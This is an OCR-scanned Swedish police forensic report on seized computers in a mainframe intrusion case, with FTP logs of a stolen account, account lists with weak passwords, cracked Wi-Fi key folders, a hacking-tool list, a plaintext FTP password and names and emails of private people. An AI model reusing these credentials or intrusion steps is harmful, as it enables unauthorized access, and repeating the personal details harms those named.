Bilaga 20 1 2-020 1 -BG1022 1 - 1 3 . 1 
Bilaga 20 1 2-020 1 -BG1022 1 - 1 3 .2  
Bilaga 20 1 2-020 1 -BG1022 1 - 1 3 . 3  
Bilaga 20 1 2-020 1 -BG1022 1 - 1 3 .4 
Bilaga 20 1 2-020 1 -BG1022 1 - 1 3 .5  

Bilaga 20 1 2-020 1 -BG1022 1 - 1 4. 1  
Bilaga 20 1 2-020 1 -BG1022 1 - 14 .2 
Bilaga 20 1 2-020 1 -BG1022 1 - 14 .3  
Bilaga 20 1 2-020 1 -BG l 022 1 - 14 .4 

Bilaga 20 1 2-020 1 -BG1022 1 - 19 . 1 
Bilaga 20 1 2-020 1 -BG1022 1 - 1 9 .2 
Bilaga 20 1 2-020 1 -BG 1022 1 - 1 9 .3  

Bilaga 20 1 2-020 1 -BG1022 1 -29. 1 
Bilaga 20 1 2-020 1 -BG1022 1 -29 .2 
Bilaga 20 1 2-020 1 -BG 1022 1 -29 .3  

Bilaga Passagen. l 
Bilaga Passagen.2 

Bilaga Ubuntu One. l 
Bilaga Ubuntu One.4 
Bilaga Ubuntu One.5 
Bilaga Ubuntu One.6 
Bilaga Ubuntu One.9 

20 1 3-0 1 -2 1  

Fillista för katalogen infotorg 
databaser 
ludvigranmo 
mora 
pappaspar 

020 1 -K8 1 864- 1 2  

54-E6-FC-BE-80-9 A_Backe 
A0-2 1 -B7-7A-3E-7E_LINNEA_Network 
Fillista för katalogen wpa-knackt 
Fillista för katalogen wep 

bash_history 
Raderade epost 
Rhythmbox 

Fillista för partial .infotorg.tar.gz 
Fillista för katalogen infotorg 
Epos t 

Medlemsinfo _dir o x 
Sammanställning av xchat2 

Dataset 
ftpOlog 
Fillista för katalogen infotorg 
logpw l 
Jämförelse med filer som laddats ner från Logica 

1 0  
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2012-0201-BG l 0221-3 

1 7st blandade CD/DVD skivor 

Bild 6 Bild 7 

Iakttagelser och undersökningar 

Innehållet bedömdes inte som relevant för utredningen. 

2012-0201-BG10221-9 

Minneskort Sandisk 2GB 

Bild 8 

Iakttagelser och undersökningar 

På minneskortet fanns en partition kallad "OPHCRACK".  Kortet innehöll en 
enklare körbar Linux distribution. 

Det återfanns ingenting som tyder på att minneskortet använts sedan den 2 
april 20 1 2  och inte heller någonting som tyder på att innehållet skulle vara 
relevant för utredningen. 

1 1  
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2012-0201-BG10221-10 

Minneskort Sandisk 5 1 2MB 

Bild 9 

Iakttagelser och undersökningar 

Minneskortet innehöll filer för att köra eller installera operativsystemet 
Freedos . Innehållet bedömdes inte som relevant för utredningen. 

2012-0201-BG10221-1 1  

Hårddisk Fujitsu 60GB, SIN: NN09T4 1 14AEB 

Bild JO  

Iakttagelser och undersökningar 

Hårddisken var trasig men återställdes och speglades av Ahlbergs Data. 

På hårddisken var operativsystemet Windows XP installerat. 

020 1 -K8 1 864- 1 2  1 2  
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Det återfanns ingenting som tyder p å  att den använts sedan den 4 maj 20 1 1  
och inte heller någonting som tyder på att innehållet skulle vara relevant för 
utredningen. 

2012-0201-BG10221-13 

Minneskort Transcend 8GB 

Bild 11 

Iakttagelser och undersökningar 

Filer och kataloger 

På minneskort återfanns installationsfiler för Windows 7 .  Förutom 
standardkatalogerna för Windows-installationen påträffades en katalog 
benämnd "INFOTORG " .  

Bild 1 2  Beskrivning av katalogstrukturen "IINFOTORG " 

Filerna i katalogen "/INFOTORG " har alla skapats på minneskortet den 20 
mars 20 1 2. För en fullständig förteckning över filerna i katalogen se bilaga 
20 1 2-020 1 -BG 1 022 1 - 1 3 . 1 Fillista för katalogen infotorg, filen omfattar totalt 
1 7  sidor. 

Flertalet filer kan med md5-hash konstateras vara identiska med filer som 
fanns på kontot "dirox" på passagen.se. 

Filen databaser 

Filen "databaser" innehöll en sparad loggfil från en anslutning till 
ftp.infodata. se. 

1 3  
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F I LNAMN l SÖKVÄG 

databa ser  l P a rt it ian 1/IN FOTORG/databaser  
S KAPAD l 2012 - 03 - 20 17 : 32 : 56 l CET  
S E NAST ÄNDRAD l 2012 - 0 3 - 04 14 : 26 : 04 l CET  

Nedan visas ett utdrag u r  filen som totalt omfattar 7 943 sidor. Filen återfinns i 
sin helhet i bilaga 20 1 2-020 1 -BG 1022 1 - 1 3 .2  databaser. 
A v innehållet i filen framgår det att den lokala användaren "luciddream" på 
datorn "lg-linux", den 4 mars 20 1 2  klockan 2 .25 loggar in med 
användarkontot BSN0058 på ftp.infodata. se. 

ft p >  ls 
Not connected . 
ftp >  q u it 
No cont rol connection for comma nd : No s u c h  file  o r  di rectory 
l u c idd ream@lg - linux : -$ ftp ftp . infodata . se 
Connected to ftp . i nfodata . se .  
220- FTPD1 I BM FTP C S  V1R12 at semainf . infodata . sema . se ,  02 : 25 : 58 on 2012 - 03 - 04 .  
220 Connection will c l o s e  i f  idle  for more t h a n  1 0  minute s .  
Name ( ft p . infodata . se : l u c idd ream ) : BSN0058 
331 Send pas sword plea s e . 
P a s sword : 
230 BSN0058 i s  logged on . Working d i rectory i s  " BSN0058 . " .  
Remote system type i s  MVS . 
ft p >  c d  ' '  
250  " "  i s  the  working d i rectory name prefix . 
ft p >  l s  
200 Port req uest OK . 
501 Pathname req u i red with n u l l  working d i rectory 
ft p >  l s  ' '  
200 Port req uest OK . 
550  No data sets fou n d . 
ftp >  l s  ' * ' 

Utdrag l Den lokala användaren luciddream på datorn lg-linux loggar in på ftp.infodata.se med an vändarkontot 
B SN0058 

Nedan visas ett utdrag där användaren försöker hämta dataset och spara dem i 
katalogen "/home/luciddream/polis " .  

ftp >  l e d  polis  
Local  d i rectory now / h ome/ l u c i d d ream/ polis  
ft p >  mget ' INFO* 
No data set s  found . 
ft p >  mget ' INFO* 
No data  sets fou nd . 
ftp >  mget ' INFO* 
No data set s  fou nd . 
ftp >  mget ' * INFO* 
No data sets found . 
ft p >  mget * INFO* 
No data set s  fou nd . 
ft p >  mget * INFO 
No data  set s  fou nd . 
ftp >  mget INFO  
No data set s  found . 
ftp >  mget DAF 
No data set s  found . 
ft p >  mget DAF * 
mget DAFA . APPBEAX . I S P F . PROF I L E . SYS19 ? A( 
Cont i n u e  with mget ? n 
ftp >  p rompt 
Interactive mode off . 

1 4  
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ftp >  mget DAF * 
loc a l : DAFA . APPBEAX . ISPF . PROF I L E . SYS19 remote : DAFA . APPBEAX . ISPF . PRO F I L E . SYS19 
200 Port req uest OK . 
550  RETR fa i l s : DAFA . APPBEAX . ISPF . P ROFI L E . SYS19 . User  not authorized . 
loca l : DAFA . AP P J E KA . ISP F . PROF I L E . SYS19 remote : DAFA . AP P J E KA . I S P F . PROF I L E . SYS19 
200 Port req uest OK . 
550  RETR fa i l s : DAFA . AP P J E KA . I S P F . PROF I L E . SYS19 . User  not authorized . 
loca l :  DAFA . AP P L I PA . ISP F . PROF I L E . SYS19 remote : DAFA . AP P L I PA . IS P F . PROF I L E . SYS19 

Utdrag 2 FfP användaren BSN0058 försöker hämta filer till katalogen polis under den lokala användaren luciddreams 
hemkatalog på lg-linux 

I Logicas loggar kan det konstateras att samma användarkonto kort tid före har 
använts av lP-adressen 85 .228 .54.229. lP-adressen tillhör Bredbandsbolaget 
men har inte varit möjlig att spåra. Samma lP-adress har även gjort slagningar 
mot lnfotorg den 4 mars 20 1 2  mellan klockan 1 .56 och 4.26. Vissa av dessa 
slagningar finns sparade som PDF-filer i katalogen "pdf' på minneskortet se 
rubriken "Katalogen pdf' nedan. 

Filinnehållet har förevisats för Elisabeth Gummesson på Logica. Hon uppgav 
att listningen av dataseten stämde med deras system. Se Pm gällande 
Elisabeth Cummesson Logica). 

En fil med samma namn och innehåll har även påträffats i det material som 
inhämtats från passagen. se samt Ubuntu On e. 

Filen ftpinfotorg.se _webserver _listing.txt 

Filen 'jtpinfotorg. se_webserver _listing. txt " innehöll en listning över filer i 
Logicas stordatorsystem. 

F I L NAMN SÖKVÄG 

ftpinfotorg . se_webserve Pa rt itian 1/IN FOTORG/ftp 
r l i sting . txt i nfotorg . se webserver l i sting . txt 
SKAPAD l 2012 - 03 - 20 17 : 42 : 29 l CET  
S E NAST ÄNDRAD l 2012 -03 - 08 13 : 2 5 : 26 l CET  

En fil med samma namn och innehåll har även påträffats i det material som 
inhämtats från passagen.se. 

Filen kontoninfo 

Filen "kontoninja " innehöll an vändarnamn och behörigheter för l 02 konton 
med lösenorden "sommar" eller "vinter" : 

F I L NAMN l SÖKVÄG 

konton info l Parti  tion 1/IN FOTORG/ kontoni nfo 
S KAPAD l 2012 - 03 - 20 17 : 32 : 46 l CET  
S E NAST ÄNDRAD 1 2012 - 03 - 19 16 : 37 : 22 l CET  

Filen har förevisats för Elisabet Gummesson från Logica som kände igen 
kontonamnen och tjänsterna. Formatet var enligt exemplet nedan: 

1 5  
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ITS8665 somma r 
Mina  tjÄl:tnster  
Personrapport 
Postn umme rkata logen 
soliditet 
Tele P l u s  
Beva kning  
Certifikat I nfobil  Direkt reg 

Utdrag 3 Utdrag ur filen "kontoninfo " 

20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2  

I loggfiler från Applicate gällande obehöriga slagningar i Infotorgs tjänster 
gick det att se att ovanstående konto, ITS8665 , hade använts från IP adressen 
46.59. 1 9 . 1 14 vid ett flertal tillfällen mellan den 20 mars 20 1 2  klockan 1 6 . 1 8  
och den 2 1 mars 20 12  klockan 3 .54. IP adressen 46.59. 1 9 . 1 14 var vid 
tidpunkten tilldelad Gustafsson genom Internetleverantören Bahnhof. 

En fil med samma namn och innehåll har även påträffats i det material som 
inhämtats från passagen. se samt Ubuntu One. 

Filen infotorgusers.xls 

Filen "infotorgusers.xls " innehöll användaridentitet, namn och behörigheter 
för 3 205 användare på Infotorg. En stor del av dessa var anställda inom 
polisen. Metadata visar att filen sparats 4 gånger, senast sparad av användaren 
"luciddream" den 9 mars 20 1 2  klockan 6 .58 .  

F I LNAMN j SÖKVÄG 

infotorgu sers . xl s  [ Partitian 1/INFOTORG/infotorgu ser s . xl s  
S KAPAD 1 2812 - 83 - 28 17 : 32 : 41 ·l C ET  
S E NAST ÄNDRAD 1 2812 - 83 - 28 17 : 38 : 56 l C ET 

� Ege ns ka per för infotorgusers.xls .:-:; J l 

Allmänt l Hashvärden l S�kerhet 

Jl..npassad l Information l Tidigare versioner 

Egenskap Värde A 

U rsp rung  
Författare r-
Senast sparad av luciddream 

Revisionsnummer 4 
Versionsnummer 

Programnamn 

Företag 
-

Chef 
Innehål l  skapat 

Senast sparad 201 2..03-09 06:5B 
Senast utskrivet 

'--

Bild 1 3  

16  
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Nedan visas ett utdrag ur filen där efternamn har dolts . 

RPKU37C XXXXX Martin l RPS BOLAG RPSBOL PPA l R P SMUL TI l SPAR l BASUNP 
RPKU37D XXXXXXX Ulla RPS BOLAG RPSBOL PPA RPSMUL TI l BASUNP l BEVAKA 
RPKU37F XXXXXXXXXX Stefan l RPS BOLAG RPSBOL PPA l RPSMUL TI l BASUNP l BEVAKA 

Utdrag 4 Utdrag ur filen "infotorgusers.xls " 

En fil med samma namn och innehåll har även påträffats i det material som 
inhämtats från passagen. se samt Ubuntu One. Därtill har samma fil påträffats 
hos Svartholm Warg i beslag 20 1 2-020 1 -BG25023-26. 

Filerna ipfnewO.png och ispfnewO.png 

Filerna " ipfnewO.png " och " ispfnewO.png " är identiska bilder som visar en 
wc3270 anslutning till lP-adressen 1 92. 1 68 . 1 .42. Samma lP-adress förekom i 
20 1 2-020 1 -BG25023- 1 ,  2 och 26, den refererar då till Svartholm Wargs 
Hercules maskin. 

F I L NAMN l SÖKVÄG 

i pfnew0 . png l Pa rtitian 1/INFOTORG/ipfnew0 . png 
S KAPAD l 2012 - 03 - 20 17 : 34 : 06 l CET  
S E NAST ÄNDRAD l 2012 - 03 - 06 02 : 39 : 1 5 l CET  

F I L NAMN l SÖKVÄG 

i s pfnew0 . png l Pa rtitian 1/IN FOTORG/ i s pfnew0 . png 
S KAPAD l 2012 - 03 - 20 17 : 34 : 06 l CET  
S E NAST ÄNDRAD l 2012 - 03 - 06 07 : 45 : 3 3 l CET  

1 7  
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Bild 1 4  Filerna "ipfnewO.png " och " ispfnewO.png " visar en wc3270 anslutning till /P-adressen 192. 1 68. 1 .42 

Filer med samma namn och innehåll har även påträffats i det material som 
inhämtats från passagen. se. 

Filerna vc242.txt och vc242 _ backdoor 

Filerna "vc242. txt " och "vc242_backdoor " är identiska. Filernas källkod har 
analyserats av Logica, se Report on the IT security incident of 20 1 2 - Externa! 
Version 1 .3 .  

F I LNAMN SÖKVÄG 

i pfnew0 . png l P a rt itian 1/ IN FOTORG/vc242 . txt 
S KAPAD J 2012 - 03 - 20 17 : 34 : 06 l CET  
S E NAST ÄNDRAD l 2012 - 03 - 06 02 : 39 : 04 l CET  

F I LNAMN l SÖKVÄG 

i s pfnew0 . png l Parti  tion 1/ IN FOTORG/vc 242 bac kdoor 
S KAPAD l 2012 - 03 - 20 17 : 34 : 06 l CET  
S E NAST ÄNDRAD l 2012 - 03 - 06 07 : 37 : 42 l CET  

1 8  
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Filer med samma namn och innehåll har även påträffats i det material som 
inhämtats från passagen. se samt Ubuntu One. 

Filerna tfy.ource.backdoor och tfy.ource.txt 

Filerna "tfy. ource. backdoor" och "tfy. ource. txt " är identiska. Filernas källkod 
har analyserats av Logica, se "Report on the IT security incident of 20 1 2 -
External Version 1 .3" .  

F I LNAMN SÖKVÄG 

i pfnew0 . png l Partit ian 1/IN FOTORG/tfy . ource . bac kdoor 
SKAPAD j 2012 - 03 - 20 17 : 34 : 06 l CET  
S E NAST ÄNDRAD 1 2012 - 03 - 06 07 : 38 : 14 l CET  

F I L NAMN l SÖKVÄG 

i spfnew0 . png l Partit ian 1/IN FOTORG/tfy . ource . txt 
S KAPAD l 2012 - 03 - 20 17 : 34 : 06 l CET  
S E NAST ÄNDRAD l 2012 - 03 - 06 02 : 38 : 5 3 l CET  

Enligt Logicas, Report on the IT security incident o f  20 1 2 - External Version 
1 .3 ,  laddades en fil vid namn "tfy. source. backdoor " ,  upp på SY19  den 6 mars 
20 1 2  klockan 17 .45 från lP-adressen 46.59.5 1 . 1 8 1 .  Denna lP-adress var vid 
tillfället tilldelad Gustafsson av Bahnhof. 

Filer med samma namn och innehåll har även påträffats i det material som 
inhämtats från passagen.se samt Ubuntu One. 

Katalogen pdf 

Katalogen "/INFOTORG/pdf" innehöll 45 PDF-filer som visar resultatet av 
slagningar på personer och fordon i Infotorg. Bland annat finns det 
kreditupplysningar, listning av polisbilar i olika områden samt slagningar på 
personer. Se bilaga 20 1 2-020 1 -BG1022 1 - 1 3 .3 ludvigranmo, bilaga 20 1 2-
020 1 -BG l 022 1 - 1 3 .4 mora samt bilaga 20 1 2-020 1 -BG l 022 1 - 1 3 .5  pappaspar 
för exempel på innehåll. 

Katalogen export 

Katalogen "/INFOTORG/export " innehöll 3 1  stycken Excel-filer som visar 
olika användares behörigheter på Infotorg. Filerna ser ut att vara 
sammanställningar uppdelade på företag/myndigheter. Filen "export( l ).xls " 
innehåller till exempel användare inom polisen. 

Analys och slutsats 

Att samtliga filer i katalogen "IINFOTORG " har skapats den 20 mars 20 1 2  
talar för att filer har kopierats till minneskortet från ett annat lagringsmedium 

I beslaget påträffades ett flertal filer med användarnaron och lösenord till 
användare på Infotorg. Därtill påträffades ett flertal filer med 
sammanställningar av användaruppgifter uppdelade på företag/myndigheter. 

1 9  
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Filen "infotorgusers.xls " innehöll användaruppgifter för 3 205 personer. En 
stor del av dessa var anställda inom polisen. Metadata visar att innehållet i 
filen är senast sparats av användaren "luciddream" den 9 mars 20 1 2  klockan 
6 .58 .  

Filerna i katalogen "pdf" visar sparade slagningar från Infotorg från den 4 
mars 20 1 2  mellan klockan 1 .56 och 4.26. Slagningarna rör framför allt 
polisiära fordon. 

Filen "databaser" visar när den lokala användaren "luciddream" på datorn 
"lg-linux", den 4 mars 20 1 2  klockan 2.25 loggar in med användarkontet 
BSN0058 på ftp.infodata. se. Användaren hämtar dataset och spara dem i 
katalogen "/home!luciddream/polis". 

2012-0201-BG10221-14 - "Kittys dator" 

Dator IBM ThinkPad 2373 ,  SIN: 99-TH1 G7 05/02 
Hårddisk Travelstar 40GB 

Bild 1 5  B ild 1 6  

Iakttagelser och undersökningar 

Operativsystem 

På den undersökta datorn fanns operativsystemet Ubuntu 1 0.04.4, installerat. 
Det fanns ett tillagt användarkonto, "Kitty" . 

Filer och kataloger 

Katalogen wep 

I katalogen "/home/kitty/Hämtningar/Keyslwep " påträffades 24 textdokument 
med lösenord till trådlösa accesspunkter. En fullständig förteckning av filerna 
återfinns i bilaga 20 1 2-020 1 -BG 1 022 1 - 14 .4 Fillista för katalogen wep. 

20 
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j " " " " 1  .... 1/ L.!VJ'I..UI I It:I I L 

S··C::>IO Hämtningar 

i R-h>�:;;vs 
: . . . . C::>IQ wpa-knack.t ! . . . .  f""'> � M;,ll;=,r 

20 1 3-0 1 -2 1  

Bild 1 7  Beskrivning av katalogstrukturen "lhome/kitty/Hämtningar/Keyslwep " 

020 1 -K8 1 864- 1 2  

Filer med samrna namn och innehåll har även påträffats i beslag 20 1 2-020 1 -
B G  l 022 1 - 1 9, i beslag 20 1 2-020 1 -B G  l 022 1 -29 samt i det material som 
inhämtats från passagen. se. 

Katalogen wpa-knackt 

I katalogen "/homelkitty/Hämtningar/Keys!wpa-knackt " påträffades 22 
textdokument med lösenord till trådlösa accesspunkter. 

Bild 1 8  Beskrivning av katalogstrukturen "/home!kitty/Hämtningar/Keys/wpa-knackt " 

Bland dessa filer återfanns inloggningar till Mikael Backes och Linnea 
Wikströms, trådlösa access punkter. Se bilaga 20 1 2-020 1 -BG l 022 1 - 1 4 . 1  54-
E6-FC-BE-80-9A_Backe och bilaga 20 1 2-020 1 -BG1022 1 - 14 .2  A0-2 1 -B7-7A-
3E-7E_LINNEA_Network. En fullständig förteckning av filerna återfinns i 
bilaga 20 1 2-020 1 -BG1022 1 - 14 .3  Fillista för katalogen wpa-knackt. 

Filer med samma namn och innehåll har även påträffats i beslag 20 1 2-020 1 -
B G  l 022 1 - 19 ,  samt i det material som inhämtats från passagen.se. 

Oallokerad data 

I den oallokerade delen av hårddisken återfanns l 000-tals hänvisningar till 
sökvägen "/home!luciddream " det vill säga. en typisk hemkatalog för en 
användare med namnet luciddream på ett Linux-system. Även e-postadressen 
luciddreaml 976 @hotmail.com förekom fler än hundra gånger på den 
oallokerade delen av hårddisken. 

lP-adresser 

På den undersökta hårddisken söktes efter de lP-adresser som använts vid 
dataintrånget mot Infotorg och Logica. Två av dessa adresser gav träff på den 
undersökta datorn: 

46.59.19.114 

Bahnhof, spårat via Quadracom till Gustafsson. 

lP-adressen förekom 23 gånger, bland annat i filen 
"/homelkitty!mozilla/firefox/7llj66s3.default!cookies. sqlite " som innehåller 

2 1  
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cooldes från webbsidor som besökts med webbläsaren Firefox . Se exempel 
nedan. 

l WT_FPCid=46 . 59 . 19 . 114 -
3291999488 . 30215647 : lv=1333042677458 : ss=1333041098799 . mozilla . org 

Utdrag 5 Det markerade värdet motsvarar tidpunkten 201 2-03-29, 19 :37 :57  (CET) . 

46.59.19.227 

Bahnhof, användes vid intrång mot Logica 20 1 1 .  

lP-adressen förekom på ett 70-tal ställen i den oallokerade delen av 
hårddisken. Främst i vad som sannolikt är restema av en raderad cookies. sqlite 
databas, se exempel nedan. 

WT_F PCid=46 . 59 . 19 . 22 7 -
1879324656 . 30121714 : lv=1300484667742 : s s =1300484649330 . bluestep . se 

Utdrag 6 Det markerade värdet motsvarar tidpunkten 201 1 -03- 1 8 ,  23 :44:27 (CET) . 

WT_FPCid=46 . 59 . 19 . 227 -
1879324656 . 30121714 : lv=1302041425519 : s s =13020414255 19www . utbildning . se 

Utdrag 7 Det markerade värdet motsvarar tidpunkten 201 1 -04-06, 00. 10 .25 (CET). 

Internethistorik 

Passagen.se 

Internethistorik från Firefox återfanns på datorn, historiken innehöll bland 
annat FrP-anslutningar till passagen.se. Användarkontot "dirox" har använts 
vid anslutningarna. 

2612 - 63 - 29 ftp : // d i rox : qw97p48z@ft p . p a s sagen . se/ 26 : 37 : 12 
2612 - 63 - 29 ftp : / / d i rox : qw97p48z@ft p . p a s sagen . se/ L i n ux/ 26 : 37 : 16 
2612 - 63 - 29 ftp : // d i rox : qw97p48z@ftp . p a s sagen . se/ L inux/H 
26 : 37 : 21 a c king/ 
2612 - 63 - 29 ftp : // d i rox : qw97p48z@ftp . p a s s agen . se/ L inux/ 26 : 38 : 59 
2612 - 63 - 29 ftp : // d i rox : qw97p48z@ftp . pa s s agen . se/ L inux/S 
26 : 41 : 11 c ri pt s /  
2612 - 63 - 29 ftp : / / d i rox : qw97p48z@ft p . p a s s agen . se/ L inux/ k 
26 : 41 : 16 ontoni nfo 
2612 - 63 - 29 ftp : // d i rox : qw97p48z@ftp . p a s s agen . se/ L inux/i  
26 : 41 : 47 nfotou sers . txt 

Tabell l Utdrag ur  Internethistorik från Firefox som visar FTP anslutningar till passagen.se 

Analys och slutsats 

På den undersökta datorn påträffades ett flertal filer med lösenord till hackade 
trådlösa accesspunkter från området runt Gustafsson adress. Bland dessa 
återfanns Mikael Backes och Linnea Wikströms trådlösa nätverk. Dessa har 
använts vid dataintrånget mot Logica och Applicate. 

22 
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Det kan konstateras att det finns spår som talar för att datorn har haft en av de 
lP-adresser som också använts vid dataintrånget 20 1 2. Därtill finns det spår 
som talar för att datorn även haft två lP-adresser som använts vid dataintrånget 
20 1 1 ,  även dessa vid den aktuella tiden för dataintrånget. 

Ett flertal referenser finns till material lagrat på Passagen.se. 

2012-0201-BG10221-15 

Dator IBM ThinkPad 2373 ,  SIN: 99-WBRFZ 031 1 1 
Hårddisk Fujitsu 40GB, SIN: NT22T652BG8H 

Bild 19 Bild 20 

Iakttagelser och undersökningar 

På hårddisken återfanns i huvudsak filmer. Något operativsystem återfanns 
inte. Det återfanns ingenting som tyder på att den använts sedan den l O april 
20 1 2  och innehållet bedömdes inte som relevant för utredningen. 

2012-0201-BG10221-16 - "Mathias HP" 

Dator HP Pavilion d v l 000, SIN: CNF6030XW 4 
Hårddisk Toshiba, SIN: X5IY69335 

Bild 2 1  Bild 22 

23 
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Iakttagelser och undersökningar 

Datorn var heldiskkrypterad med LUKS . På hårddisken var operativsystemet 
Ubuntu 1 1 . 1  O installerat, sannolikt installerat den 1 3  april 20 1 2. Det återfanns 
ett användarkonto, "luciddream". 

Analys och slutsats 

Troligen krypterad vid oroinstallation omkring en månad före det att den togs i 
beslag. Förefaller väldigt lite använd. 

2012-0201-BG10221-17 - "Mathias LG", " LG-LINUX" 

Dator LG LGR40, SIN: 808KSFS0 17827 
Hårddisk Hitachi 250GB, SIN: WDJPLS9G 

Bild 23 Bild 24 

Iakttagelser och undersökningar 

Datorn var heldiskkrypterad med LUKS och har inte kunnat analyseras . 

2012-0201-BG l 0221-18 

Minneskort, Mini-SD 2GB 

Bild 25 

24 
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Iakttagelser och undersökningar 

Innehållet bedömdes inte som relevant för utredningen. 

2012-0201-BG10221-19 - "Lisas dator" 

Dator IBM Think:Pad 2007, SIN: L3-D8779 06/04 

020 1 -K8 1 864- 1 2  

Hårddisk Western Digital WD 1 600BEVT 1 60GB, SIN: WXH8086 1 6973 

Bild 26 Bild 27 

Iakttagelser och undersökningar 

Operativsystem 

På hårddisken var operativsystemet Ubuntu 10.04.4 installerat, sannolikt 
installerat den 2 februari 20 1 2. Det återfanns ett användarkonto, "lisa" .  

Filer och kataloger 

Filen bash_history 

I hemkatalogen för användaren "lisa" påträffades filen ". bash_history " som 
innehåller en historik över kommandon. 

F I LNAMN j SÖKVÄG 

. ba s h  hi story l Partitian 1/home/l i s a / . b a s h  h i story 
S KAPAD l 2012 - 02 - 02 12 : 03 : 12 l CET  
S E NAST ÄNDRAD l 2012 - 04 - 1 5  10 : 00 : 03 l CET  

Nedan visas ett utdrag ur filen som totalt omfattar 1 1  sidor. Filen återfinns i 
sin helhet i bilaga 20 1 2-020 1 -BG1022 1 - 19 . 1 bash_history. 

mkdir  /mnt / info 
sudo mkd i r  /mnt / info 
sudo mount -t c ifs  / / 192 . 168 . 1 . 18/infotorg /mnt/info/ 
s udo mount //192 . 168 . 1 . 18/infotorg /mnt/info/ 
s udo mount - t  c ifs  //192 . 168 . 1 . 18/infotorg /mnt / i nfo/ 
sudo mount - t  c i f s  / / LG - L INUX/ infotorg /mnt/info/ 
s udo mount - t  c ifs  / / LG - LINUX/ infotorg /mnt / info 

25 
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s udo mount -t  c ifs \ \ LG - LINUX\infotorg /mnt / info 
sudo mount - t  c ifs //192 . 168 . 1 . 18/infotorg /mnt / info 

0201 -K8 1 864- 1 2  

sudo  mount - t  cifs //192 . 168 . 1 . 18/infotorg /mnt/info - o  u s e r=luc iddrean  
s udo mount  - t  c ifs  //192 . 168 . 1 . 18/infotorg /mnt / i nfo - o  u s e r=l u c i d d ream 
sudo  mount - t  c ifs  //192 . 168 . 1 . 18/infotorg /mnt/info - o  rw, u s e r= l u c i d d ream 
s udo mount - t  c ifs //192 . 168 . 1 . 18/infotorg /mnt / info - o  u s e r= luc idd reamkls 
l s 
c d  /mnt/ 
l s 
c d  info/ 
l s 
more log . txt 
l s 
cat  * l grep - i  ludvika l more 

Utdrag 8 Utdrag ur filen ".bash_history " 

A v utdraget framgår att den lokala användaren "lisa" skapar en katalog på 
datorn med sökvägen "/mntlinfo " .  Katalogen "infotorg " på datorn "LG
LINUX" med lP adressen 1 92. 1 68 . 1 . 1 8 .  monterats. Därefter söker man i filen 
"log. txt " efter ordet "Iudvika" 

Katalogen wep 

I katalogen "/home/lisa/Downloads/Mathias/Keyslwep " påträffades 24 
textdokument med lösenord till trådlösa accesspunkter. 

lB··Of:J Desktop 

�-·Oe:J Documents 

�- ·00 Downloads ' 
i· · · ·O!C:J Desperate Housewives (Season l) 

j. . . .[=:>o download 

�-·O {Ö Hamilton o I o Nationens o Intresse o 20 l2o SWEDiSH o TC oXviD-MEMFiS 

�-·OEJ jre lo 6 o 0_3 1 

�-·CC:. Mathias 

: i B··C>h Keys 

i l i · ·C:> f:! III' ep l i · · ·C,>t::) wpa-captures 

i · · · ·Ot:J wpa-knackt 

, L. .. [:>ICJ wpa;-eaver-oknäckt 

�--C:>o Linux 

Bild 28 B eskrivning av katalogstrukturen "/home!lisa/Downloads/Mathias/Keys!wep " 

Detta är samma filer som även påträffats i beslag 20 1 2-020 1 -BG1022 1 - 14, i 
beslag 20 1 2-020 1 -BG l 022 1 -29 samt i det material som inhämtats från 
passagen. se. 

Katalogen wpa-knackt 

I katalogen "/home/lisa!Downloads/Mathias/Keys/wpa-knackt " påträffades 22 
textdokument med lösenord till trådlösa accesspunkter. 

26 
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�l·C)C:, Desktop 

Eb··C> Documents 

�--c:>e, Downloads ; i · · · ·C>t:J Desperate Housewives (Season 1) 

l · · ·Of:! download 

20 1 3-0 l -2 1  

!:b·· O Hamilton . I .  Nationens .  Intresse .  20 12. SWEDiSH .TC .XviD-MEMFiS 

Eb··OC jre 1 . 6 . 0_31 

�-·00 Mathias 

. �-·Ob Keys 

; I: : : :C>� wep 

i 'h'pa-reaver-oknäckt 

Eb··C>t:J Linux 

Bild 29 Beskrivning av katalogstrukturen "/homellisa/Downloads/Mathias/Keys/wpa-knackt" 
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Detta är samma filer som även påträffats i beslag 20 12-020 1 -BG l 022 1 - 1 4  
samt i det material som inhämtats från passagen.se. 

Katalogen hack 

I katalogen "lhomellisa/Downloads/Mathias/Softwarelhack/" påträffades 
programvara för att bland annat avlyssna och analysera nätverkstrafik och 
även program för att knäcka trådlösa accesspunkter. 

i · · · ·L;.>t:J Scripts 

B· C:>ICJ Software 

! · · · ·00 FreeUndelet:e 

8 -oo hack 

Eb· C>ID cowpatty-4. 3 

Eb· ·[:::>o crunch-3 . 1 

i · · · ·C>b ett:ercap-o . 7. 4 

! · · · ·C) Fern-Wifi-cracker _1 . 2_al l  

i · · · ·C)o ·gencc 

i· · · ·C:>b .grimwepa 1 . 10a6 

Eb · ·C>C:, hamster-2. 0 . 0  

Eb -c>o hydra-7. 1 

Eb··C:>o imsniff_0 . 04 

i · · · ·C)f:J inflator 

! · · ·C:> kismet 

Eb··C:>lE!J kismet-2.0 1 1-0 1-R 1 

! · · · ·O l ibssh-0 . 4. 6 

i · · · ·C>'B l inksys_spa2102 

Eb··C..>E:J mdk.3-v6 

i · · · ·G'O minidwep-,gtk-21026-ubuntu 

i · · · ·C..>e nmbscan-1 . 2. 6 

1±1·· ..> rit-0 . 4. 0 

i · · · · ..>(C Rout:er-Default-Password-list 

! · · · ·00 sslstrip-0 . 9  

i · · · ·C>o Wepcracko , 9 ,  2 
· nr-

B ild 30 Beskrivning av katalogstrukturen "/home/lisa/Downloads/Mathias!Sofrware/hack/" 

27 
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Raderade epost 

Tre raderade epostmeddelanden påträffades, detta är samma epost som även 
påträffats i 20 1 2-020 1 -BG1022 1 -29. Mailen tillsammans med bilagor 
återfinns i sin helhet i bilaga 20 1 2-020 1 -BG l 022 1 - 1 9 .2 Raderade epos t, 
bilagan omfattar totalt 4 7 sidor. 

Fro m :  
To: 
Subject: 
Sent: 

Fro m :  
To: 
Subject: 
Sent: 

Fro m :  
To: 
Subject: 
Sent: 

M ath ias G ustafsson < l uc iddrea m @g m a i l . co m > 

Rickard Björk < ricka rd . bjork@g m a i l . co m >  

Re : S P I N  

S a t ,  23 Apr 20 1 1  0 9 : 08 : 54 + 0 2 0 0  

M a t h i a s  G ustafsso n < l uc iddrea m @ g m a i l . co m > 

smittsa m @ h ush . co m  

b i l a r  

F r i ,  1 5  Oct 2 0 1 0  1 2 : 39 : 0 5  + 0 2 0 0  

M ath ias G ustafsson < l uc iddrea m @g m a i l . co m > 

rob badobbso l d ier@ hotm a i l . com 

b i l a r  

